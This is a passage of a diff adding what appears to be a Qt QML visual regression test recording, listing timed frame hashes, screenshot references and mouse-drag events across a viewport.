"668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 400 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 416 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 432 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 448 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 464 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 480 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 496 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 512 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 528 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 544 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 560 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 576 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 592 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 608 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 624 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 640 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 656 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 672 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 688 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 704 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 720 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 736 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 752 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 768 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 784 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 800 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 816 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 832 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 848 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 864 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 880 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 896 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 912 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 928 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 944 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 960 + image: "drag.0.png" + } + Frame { + msec: 976 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 992 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1008 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1024 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1040 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1056 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1072 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1088 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1104 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1120 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1136 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1152 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1168 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1184 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1200 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1216 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1232 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1248 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1264 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1280 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1296 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1312 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1328 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1344 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1360 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1376 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1392 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1408 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1424 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1440 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1456 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1472 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1488 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1504 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1520 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1536 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1552 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1568 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1584 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1600 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1616 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1632 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1648 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1664 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1680 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1696 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1712 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1728 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1744 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1760 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1776 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1792 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 16; y: 54 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1808 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 1824 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 16; y: 55 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 17; y: 55 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1840 + hash: "b6b4b2c7acddd23609caa9727911b981" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 17; y: 55 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1856 + hash: "b6b4b2c7acddd23609caa9727911b981" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 18; y: 55 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1872 + hash: "022610222cfbcf9e9a8991cdb60c7bbb" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 19; y: 54 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1888 + hash: "9b5201a3201a102b20592d81218b5e74" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 22; y: 49 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 29; y: 42 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1904 + hash: "a6c6df34bb552249393ba208ad327691" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 37; y: 35 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1920 + image: "drag.1.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 47; y: 27 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1936 + hash: "978543d8f9688605625f40b960d79c28" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 59; y: 21 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 73; y: 15 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1952 + hash: "6170ab3a7e51278ac4462b89fe7781b4" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 87; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1968 + hash: "32866f0aa5b13b3ab68661f49336439e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 100; y: 5 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1984 + hash: "26dc17c16eed46d37932cfe48d182b62" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 111; y: 1 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 121; y: -3 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2000 + hash: "ba70936fb44396fac184cc7ba0e94a90" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 130; y: -6 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2016 + hash: "bae13291d4f031c34d80428d83367ede" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 140; y: -8 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2032 + hash: "0a2fbfdc27bb6662553f637f1c325475" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 151; y: -9 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 160; y: -9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2048 + hash: "cdab85736dfcc4424d42e0e96094eded" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 170; y: -9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2064 + hash: "76d51ce9ad69560d983d8d86d50f7bd0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 174; y: -9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2080 + hash: "b5ada9e80f7f894aa141d5e3cfa5d69e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 176; y: -9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2096 + hash: "446d35fc7b9c0fe4bf0bfe0182f994f6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 183; y: -5 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2112 + hash: "cced849d314835d43ebd93bcfe396c12" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 188; y: -3 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2128 + hash: "09696d700944c373f82d7c6f75d51c51" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 193; y: 0 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2144 + hash: "af56586db93c49637c9bfbb17cac9001" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 199; y: 2 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 203; y: 5 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2160 + hash: "66fc1b30b4037aad3975036faccbb7a7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 209; y: 8 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2176 + hash: "3f443d9c89d6ba1b36ca9635bc32de1a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 217; y: 11 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2192 + hash: "df47db8cc7bb466b298749a6449d3d70" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 227; y: 15 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 234; y: 18 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 241; y: 20 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2208 + hash: "c1146fdc0e628d050442606096e52b10" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 252; y: 23 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2224 + hash: "22f44c43f300fd7ff2b4d87d93756178" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 272; y: 30 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2240 + hash: "bf11dc9a9679692abde5d116a169eecf" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 299; y: 38 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 329; y: 48 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2256 + hash: "e63f1960f342639ac412010ffcefb049" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 360; y: 57 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2272 + hash: "ae0228419ec9358025c3026a39abd671" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 392; y: 65 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2288 + hash: "6d2272e2bea21c280100ed8de5b95d4e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 422; y: 72 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 451; y: 76 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2304 + hash: "1628c6fa5feabd90924452bc9f55054d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 476; y: 78 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2320 + hash: "f696791eb0a317b0efb69407616bec9f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 497; y: 78 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2336 + hash: "f696791eb0a317b0efb69407616bec9f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 513; y: 77 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 527; y: 76 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2352 + hash: "1628c6fa5feabd90924452bc9f55054d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 538; y: 75 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2368 + hash: "a5d3d247e22a2852a60fe07ab40345a5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 548; y: 74 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2384 + hash: "a453fb6bcdd87f819782d8d8c46b56ee" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 556; y: 74 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 563; y: 75 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2400 + hash: "a5d3d247e22a2852a60fe07ab40345a5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 570; y: 76 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2416 + hash: "1628c6fa5feabd90924452bc9f55054d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 576; y: 78 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2432 + hash: "f696791eb0a317b0efb69407616bec9f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 582; y: 78 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 585; y: 80 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2448 + hash: "8f061986df633c21dcad767ee857988c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 589; y: 81 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2464 + hash: "2cc110a6fb800171d7d752693ede1e4e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 592; y: 82 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2480 + hash: "319fc3053e02a8b161f33a79d9839bb1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 595; y: 85 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 597; y: 89 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2496 + hash: "42915c8866746316cf1083a2d55410fb" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 601; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2512 + hash: "5df34b3ae292de9a9cd8ff09347e7bd4" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 606; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2528 + hash: "1f9bc3c955983ea85f568797cb4f7365" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 609; y: 113 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 613; y: 124 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2544 + hash: "3f156dc64a12c672874acf5456ef4a31" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 618; y: 136 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2560 + hash: "d4d9fe5b5f138e06a87039ebf8695d03" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 619; y: 142 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2576 + hash: "383fe813021ee2791930200b2f88a802" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 620; y: 148 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 622; y: 155 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2592 + hash: "a235544bd5e791dfa329bd0b87358bfa" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 625; y: 163 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2608 + hash: "a87497cf47db3209610b532efe7eb380" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 629; y: 174 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2624 + hash: "abe69b4e4b7508028226f9b73c38058a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 634; y: 194 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 642; y: 225 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2640 + hash: "51c72fa2fa4c8765d882fe65dc0d697d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 649; y: 260 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2656 + hash: "79da7ed21bd6fc16b7264d4403e763cc" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 655; y: 291 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2672 + hash: "b2828b6340a57fa45416469b23b7cef0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 658; y: 316 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 659; y: 340 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2688 + hash: "64a5351f2d746b338c34c7ea9ba6e1fe" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 660; y: 370 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2704 + hash: "9eedb7a6875210084fd2ec95d3505512" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 661; y: 408 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2720 + hash: "b88eb8fa8a0cfc263dc7b655ddc29db0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 661; y: 448 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2736 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 660; y: 487 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 659; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2752 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 658; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2768 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 658; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2784 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 658; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 658; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2800 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 657; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2816 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 656; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2832 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 654; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 652; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2848 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 651; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2864 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 650; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2880 + image: "drag.2.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 650; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 648; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2896 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 647; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2912 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 646; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2928 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 645; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 644; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2944 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 643; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2960 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 642; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2976 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 641; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 640; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2992 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 640; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3008 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 639; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3024 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 639; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 638; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3040 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 636; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3056 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 625; y: 505 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3072 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 611; y: 505 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3088 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 582; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 546; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3104 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 505; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3120 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 460; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3136 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 408; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 354; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3152 + hash: "c2997fdde10812f02791bfed5f158ac3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 300; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3168 + hash: "23a6dfbd09e5b44d04f252cedaeb68af" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 250; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3184 + hash: "f74422989711f86a0840ffc98e8a29e9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 206; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 163; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3200 + hash: "fa922246d254a7c46d2d1d6ec91a2b02" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 140; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 122; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3216 + hash: "ef216cb8c2bf58db7d58bd8a2e4eb38d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3232 + hash: "a383228d22e64b8a7758c959288eaca8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 64; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3248 + hash: "636ca2a8e91c49ef6c8b1c93b830f345" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 36; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 16; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3264 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -1; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3280 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3296 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3312 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3328 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + 